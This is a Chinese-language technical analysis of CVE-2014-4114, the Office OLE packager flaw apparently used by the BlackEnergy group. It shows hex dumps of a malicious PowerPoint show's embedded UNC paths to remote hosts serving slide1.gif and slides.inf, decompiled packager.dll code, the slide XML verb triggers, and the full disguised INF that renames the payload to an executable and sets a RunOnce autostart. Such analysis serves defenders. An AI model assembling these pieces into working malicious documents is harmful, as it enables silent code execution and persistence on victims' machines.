CVE-2014-4114
分析blackenergy时,该组织采用了cve-2014-4114漏洞进行攻击
漏洞简述:
该漏洞 是OLE包管理INF 任意代码执行漏洞 ,通过使用PowerPoint作为攻击载体,在OLE打包文件(packer.dll)中能够下载并执行类似的INF外部文件,允许攻击者执行命令。
简单分析过程:
分析对象为一个 xx.ppsx 文件
该类型文件为PPT文件类型,当文件点击执行后会直接进入PPT 演示状态。
漏洞触发过程为:
1.执行PPT –>
2.内置2个OLE对象–>
3.OLE对象包含2个远程webdav地址 –>
4.调用packager.dll的函数CPackage::OLE2MPlayerReadFromStream把远程的 slide1.gif slides.inf 下载下来 —>
5.函数CPackage::DoVerb中调用SHELL32!CDefFolderMenu::InvokeCommand函数加载slides.inf,并安装这个inf文件–>
6.inf将slide1.gif重命名为slide1.gif.exe。然后添加注册表启动项
7.攻击成功
通过filealyz软件(查看二进制)查看 为两个明显的ole对象。
包含 webdav路径,
当该文件被PPT加载后,它会调用Packager.dll的CPackage::OLE2MPlayerReadFromStream函数将这两个文件从网络上下载下来并保存在临时目录中。
00006570h: 70 70 74 2F 65 6D 62 65 64 64 69 6E 67 73 2F 6F ; ppt/embeddings/o
00006580h: 6C 65 4F 62 6A 65 63 74 31 2E 62 69 6E ; leObject1.bin
000077d0h: 6D 62 65 64 64 65 64 53 74 67 32 2E 74 78 74 00 ; mbeddedStg2.txt.
000077e0h: 5C 5C 31 39 32 2E 31 36 38 2E 32 33 39 2E 31 32 ; \\192.168.239.12
000077f0h: 39 5C 73 68 61 72 65 5C 73 6C 69 64 65 73 2E 69 ; 9\share\slides.i
00007800h: 6E 66 ; nf
00006faeh: 70 70 74 2F 65 6D 62 65 64 64 69 6E 67 73 2F 6F ; ppt/embeddings/o
00006fbeh: 6C 65 4F 62 6A 65 63 74 32 2E 62 69 6E ; leObject2.bin
00006d91h: 45 6D 62 65 64 64 65 64 53 74 67 31 2E 74 78 74 ; EmbeddedStg1.txt
00006da1h: 00 5C 5C 31 39 32 2E 31 36 38 2E 32 33 39 2E 31 ; .\\192.168.239.1
00006db1h: 32 39 5C 73 68 61 72 65 5C 73 6C 69 64 65 31 2E ; 29\share\slide1.
00006dc1h: 67 69 66 ; gif
对ole对象进行访问处理
针对路径进行 UNC 的访问处理 造成将远程样本下载到 temp目录下
__int64 __fastcall CPackage::OLE2MPlayerReadFromStream(CPackage *this, struct IStream *a2)
{
struct IStream *v2; // rbp
void **v3; // rdi
signed int v4; // ebx
_BYTE *v5; // rax
_BYTE *v6; // rsi
_BYTE *v7; // rbx
int i; // ecx
const CHAR *v9; // rbx
unsigned __int64 v10; // r8
const CHAR *v11; // rdx
void *v12; // rax
const WCHAR *v13; // rcx
_DWORD *v14; // rax
signed __int64 v15; // rbp
char *v16; // rax
_WORD *v17; // rdx
_WORD *v18; // rcx
SIZE_T uBytes; // [rsp+40h] [rbp+8h]
*((_DWORD *)this + 26) = 3;
v2 = a2;
v3 = (void **)this;
v4 = ((__int64 (__fastcall *)(struct IStream *, SIZE_T *, signed __int64))a2->lpVtbl->Read)(a2, &uBytes, 4i64);
if ( v4 >= 0 && (unsigned int)uBytes > 0 )
{
v5 = LocalAlloc(0, (unsigned int)uBytes);
v6 = v5;
if ( v5 )
{
v4 = ((__int64 (__fastcall *)(struct IStream *, HLOCAL, _QWORD, _QWORD))v2->lpVtbl->Read)(
v2,
v5,
(unsigned int)uBytes,
0i64);
if ( v4 >= 0 )
{
v7 = v6;
for ( i = 0; *v7; ++v7 )
{
if ( v7 >= &v6[(unsigned int)uBytes] )
break;
}
v9 = v7 + 1;
v10 = (unsigned __int64)&v6[(unsigned int)uBytes];
if ( (unsigned __int64)v9 < v10 )
{
v11 = v9;
do
{
if ( !*v11 )
break;
++i;
++v11;
}
while ( (unsigned __int64)&v9[i] < v10 );
}
if ( (unsigned __int64)&v9[i] >= v10 )
goto LABEL_27;
v12 = v3[14];
if ( v12 )
{
v13 = (const WCHAR *)*((_QWORD *)v12 + 74);
if ( v13 )
{
DeleteFileW(v13);
operator delete(*((void **)v3[14] + 74));
}
operator delete(v3[14]);
}
v14 = operator new(0x270ui64);
v3[14] = v14;
if ( !v14 )
{
LABEL_27:
v4 = -2147467259;
goto LABEL_28;
}
*v14 = 64;
*((_DWORD *)v3[14] + 17) = uBytes;
v15 = 260i64;
*((_DWORD *)v3[14] + 16) = 0;
*((_DWORD *)v3[14] + 154) = 0;
SHAnsiToUnicode(v9, (LPWSTR)v3[14] + 36, 260);
v4 = CPackage::CreateTempFileName((CPackage *)v3);
if ( v4 >= 0 )
{
if ( CopyFileW((LPCWSTR)v3[14] + 36, *((LPCWSTR *)v3[14] + 74), 1) )
{
v16 = (char *)v3[14];
v17 = (_WORD *)*((_QWORD *)v16 + 74);
v18 = v16 + 72;
do
{
if ( v15 == -2147483386 )
break;
if ( !*v17 )
break;
*v18 = *v17;
++v17;
++v18;
--v15;
}
while ( v15 );
if ( !v15 )
--v18;
*v18 = 0;
goto LABEL_28;
}
goto LABEL_27;
}
}
LABEL_28:
LocalFree(v6);
return (unsigned int)v4;
}
}
return (unsigned int)v4;
}
在函数CPackage::DoVerb中调用SHELL32!CDefFolderMenu::InvokeCommand函数加载slides.inf,并安装这个inf文件
Office最著名的功能是OLE(对象连接嵌入),ActiveX容器(PowerPoint就是一个容器)可以通过嵌入一个外部ActiveX对象,来丰富容器的功能。ActiveX机制最著名的一个功能是DoVerb,容器可以通过DoVerb接口要求ActiveX对象执行一定的动作,比如激活、隐藏等。
Office为了通用性,当嵌入非ActiveX对象时,嵌入的数据由内置的Package包装并展现为ActiveX对象。内置的Package对象由%system32%\packager.dll实现
同时,在xml的相关信息也标注了verb操作中采用了相关的处理手法,在ppt\slides\slide1.xml中
slide1.xml 该文件主要为了标注动画播放信息
<p:cmd type="verb" cmd="-3"> #verb 采用 指令 -3
<p:cBhvr>
<p:cTn id="10" dur="1000" fill="hold">
<p:stCondLst>
<p:cond delay="0"/>
</p:stCondLst>
</p:cTn>
<p:tgtEl>
<p:spTgt spid="4"/>
</p:tgtEl>
</p:cBhvr>
</p:cmd>
<p:cmd type="verb" cmd="3"> #verb 采用 指令 3
<p:cBhvr>
<p:cTn id="14" dur="1000" fill="hold">
<p:stCondLst>
<p:cond delay="0"/>
</p:stCondLst>
</p:cTn>
<p:tgtEl>
<p:spTgt spid="5"/>
</p:tgtEl>
</p:cBhvr>
</p:cmd>
对gif对象执行的verb动作cmd为-3(无具体处理,主要为了下载该文件),而对inf对象执行的verb动作cmd为3(inf的安装操作)
对应的packager.dll 或只能怪对verb 动作做处理的 CPackage::DoVerb 函数的处理如下
在windbg 目录下 执行下列命令 获取 该dll pdb 文件
symchk /r c:\windows\system32\packager.dll /s SRV*c:\pdb*http://msdl.microsoft.com/download/symbols
__int64 __fastcall CPackage::DoVerb(CPackage *this, signed int a2, struct tagMSG *a3, struct IOleClientSite *a4, int a5, HWND a6, const struct tagRECT *a7)
{
signed int v7; // er12
struct tagMSG *v8; // r13
CPackage *v9; // rsi
struct IOleClientSite *v10; // r14
signed int v11; // edi
__int64 result; // rax
__int64 v13; // rax
__int64 v14; // rax
unsigned int v15; // eax
_DWORD *v16; // rax
signed __int64 v17; // rdx
WCHAR *v18; // rcx
signed __int64 v19; // r8
WCHAR v20; // ax
HMENU v21; // rax
struct IContextMenu *v22; // rbp
HMENU v23; // r13
struct IContextMenu *v24; // [rsp+40h] [rbp-B68h]
int v25; // [rsp+48h] [rbp-B60h]
int v26; // [rsp+4Ch] [rbp-B5Ch]
__int64 v27; // [rsp+50h] [rbp-B58h]
__int64 v28; // [rsp+58h] [rbp-B50h]
__int64 v29; // [rsp+60h] [rbp-B48h]
__int64 v30; // [rsp+68h] [rbp-B40h]
int v31; // [rsp+70h] [rbp-B38h]
SHELLEXECUTEINFOW pExecInfo; // [rsp+80h] [rbp-B28h]
struct tagMENUITEMINFOW mii; // [rsp+F0h] [rbp-AB8h]
__int16 v34; // [rsp+140h] [rbp-A68h]
char Dst; // [rsp+142h] [rbp-A66h]
WCHAR String; // [rsp+348h] [rbp-860h]
WCHAR pszPath; // [rsp+760h] [rbp-448h]
unsigned __int16 v38; // [rsp+970h] [rbp-238h]
v7 = a2;
v8 = a3;
v9 = this;
v10 = a4;
pExecInfo.cbSize = 112;
memset(&pExecInfo.fMask, 0, 0x6Cui64);
v11 = -2147467259;
if ( v7 < -2 ) //第一个操作指令为-3 则直接返回(目的是将gif文件下载到tmp目录下)
return 2147500033i64;
if ( v7 == -1 ) //编辑命令
{
v13 = *((_QWORD *)v9 + 12);
if ( !v13 || !*(_WORD *)(v13 + 72) )
{
v14 = *((_QWORD *)v9 + 13);
if ( !v14 || v14 == -4 )
{
LABEL_8:
v34 = 0;
memset(&Dst, 0, 0x206ui64);
memset(&String, 0, 0x418ui64);
PackWiz_CreateWizard(a6, (struct _packageInfo *)&v34);
if ( lstrlenW(&String) )
result = CPackage::InitFromPackInfo((CPackage *)((char *)v9 - 16), (struct _packageInfo *)&v34);
else
result = 262529i64;
return result;
}
}
}
else
{
if ( v7 == 2 ) //指令 2 获取真实的verb
v7 = *((_DWORD *)v9 + 56);
if ( v7 == -1 || v7 == -2 )
goto LABEL_8;
if ( v7 == 1 ) //更改object名称
{
v15 = CPackage::_ChangePackageLabel((CPackage *)((char *)v9 - 16), a6);
LABEL_16:
return v15;
}
if ( v7 ) // 对 inf 文件 执行 shell 右键菜单中的默认(安装)命令
{
v11 = CPackage::GetContextMenu((CPackage *)((char *)v9 - 16), &v24);
if ( v11 >= 0 )
{
v21 = CreatePopupMenu();
v22 = v24;
v23 = v21;
if ( v21 )
{
v11 = ((__int64 (__fastcall *)(struct IContextMenu *, HMENU, _QWORD, signed __int64, signed int, _DWORD))v24->lpVtbl->QueryContextMenu)(
v24,
v21,
0i64,
2i64,
0xFFFF,
0);
if ( v11 >= 0 )
{
mii.cbSize = 80;
mii.fMask = 2;
if ( GetMenuItemInfoW(v23, v7 - 2, 1, &mii) )
{
if ( *((_DWORD *)v9 + 22) == 3 )
v11 = CPackage::CreateTempFile((CPackage *)((char *)v9 - 16), 0);
if ( v11 >= 0 )
{
v25 = 56;
v26 = 0;
v27 = 0i64;
v29 = 0i64;
v30 = 0i64;
v31 = 1;
v28 = mii.wID - 2;
v11 = ((__int64 (__fastcall *)(struct IContextMenu *, int *))v22->lpVtbl->InvokeCommand)(v22, &v25); //进行指令执行
}
}
else
{
v11 = 262529;
}
}
DestroyMenu(v23);
}
else
{
v11 = -2147024882;
}
((void (__fastcall *)(struct IContextMenu *))v22->lpVtbl->Release)(v22);
}
return (unsigned int)v11;
}
}
if ( *((_DWORD *)v9 + 22) != 1 )
{
if ( *((_DWORD *)v9 + 22) != 3 )
return (unsigned int)v11;
if ( !*((_QWORD *)v9 + 12) )
return 262529;
if ( CPackage::_GiveWarningMsg((CPackage *)((char *)v9 - 16), a6) != 2 )
{
v15 = CPackage::_ActivateEmbeddedFile((CPackage *)((char *)v9 - 16), 0, v8, v10, a5, a6, a7);
goto LABEL_16;
}
LABEL_28:
return 0;
}
v16 = (_DWORD *)*((_QWORD *)v9 + 13);
if ( !v16 || !*v16 && !gCmdLineOK )
{
ShellMessageBoxW(g_hinst, 0i64, (LPCWSTR)0xBBF, (LPCWSTR)0xBB8, 0x2010u);
return (unsigned int)v11;
}
if ( CPackage::_GiveWarningMsg((CPackage *)((char *)v9 - 16), a6) == 2 )
goto LABEL_28;
v17 = 260i64;
v18 = &pszPath;
v19 = *((_QWORD *)v9 + 13) + 4i64 - (_QWORD)&pszPath;
do
{
if ( v17 == -2147483386 )
break;
v20 = *(WCHAR *)((char *)v18 + v19);
if ( !v20 )
break;
*v18 = v20;
++v18;
--v17;
}
while ( v17 );
if ( !v17 )
--v18;
*v18 = 0;
PathRemoveBlanksW(&pszPath);
if ( PathFileExistsW(&pszPath) )
v38 = 0;
else
PathSeparateArgs(&pszPath, &v38, 0xF0u);
pExecInfo.fMask = 0;
pExecInfo.lpFile = &pszPath;
pExecInfo.nShow = 1;
pExecInfo.lpParameters = &v38;
return ShellExecuteExW(&pExecInfo) == 0 ? 0x80004005 : 0;
}
该inf 文件伪装为硬件驱动安装程序
; 61883.INF 伪装为61883设备驱动
; Copyright (c) Microsoft Corporation. All rights reserved.
[Version]
Signature = "$CHICAGO$"
Class=61883
ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}
Provider=%Msft%
DriverVer=06/21/2006,6.1.7600.16385
[DestinationDirs]
DefaultDestDir = 1
[DefaultInstall]
RenFiles = RxRename
AddReg = RxStart
[RxRename]
slides.gif.exe, slides.gif 将%temp%目录下slide1.gif 更名为 slides.gif.exe
[RxStart]
HKLM,Software\Microsoft\Windows\CurrentVersion\RunOnce,Install,,%1%\slides.gif.exe
将slides.gif.exe写入RunOnce自启动,
造成漏洞本身问题是,ole对象指定了一个UNC(Universal Naming Convention)路径 \94.185.85.122\public\slide1.gif,而ppt\ embeddings\oleObject2.bin OLE对象中指定了另一个UNC路径\94.185.85.122\public\slides.inf,当ppsx播放时这两个文件会被自动下载到临时目录 %TEMP% 下。
同时可以使用Doverb接口进行inf文件处理,在%system32%\packager.dll的CPackage::DoVerb处理中,允许该对象执行右键菜单中的存在的安装操作,进行inf 调用,通过组合将下载文件执行起来。
漏洞至少存在以下三种利用方式:
1.黑客可以构造嵌入OLE对象的恶意Office文件(例如word、ppt、excel等),以社工方式诱使用户打开该文档,执行任意程序;
2.或者用户访问了嵌入该恶意Office文件的网站时,当本地的浏览器使用Office组件打开了此文档,也可以引发恶意程序的执行;
3.或者用户使用Outlook浏览了嵌入该恶意Office文件的邮件,也可以引发恶意程序执行;